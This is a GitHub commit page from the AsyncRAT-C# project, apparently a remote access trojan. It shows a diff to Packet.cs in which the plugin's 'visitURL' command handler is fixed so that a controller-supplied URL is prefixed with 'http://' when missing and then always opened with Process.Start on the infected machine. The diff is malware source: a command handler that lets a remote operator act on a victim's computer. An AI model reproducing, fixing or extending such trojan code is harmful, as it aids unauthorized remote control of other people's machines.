Skip to content

Commit

Permalink
fixed visit url
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Dec 14, 2019
1 parent 9a4b5d8 commit 9819dfb
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs
Original file line number Diff line number Diff line change
Expand Up @@ -26,10 +26,11 @@ public static void Read(object data)
case "visitURL":
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;
if (url.StartsWith("http"))
if (!url.StartsWith("http"))
{
Process.Start(url);
url = "http://" + url;
}
Process.Start(url);
break;
}

Expand Down

0 comments on commit 9819dfb

Please sign in to comment.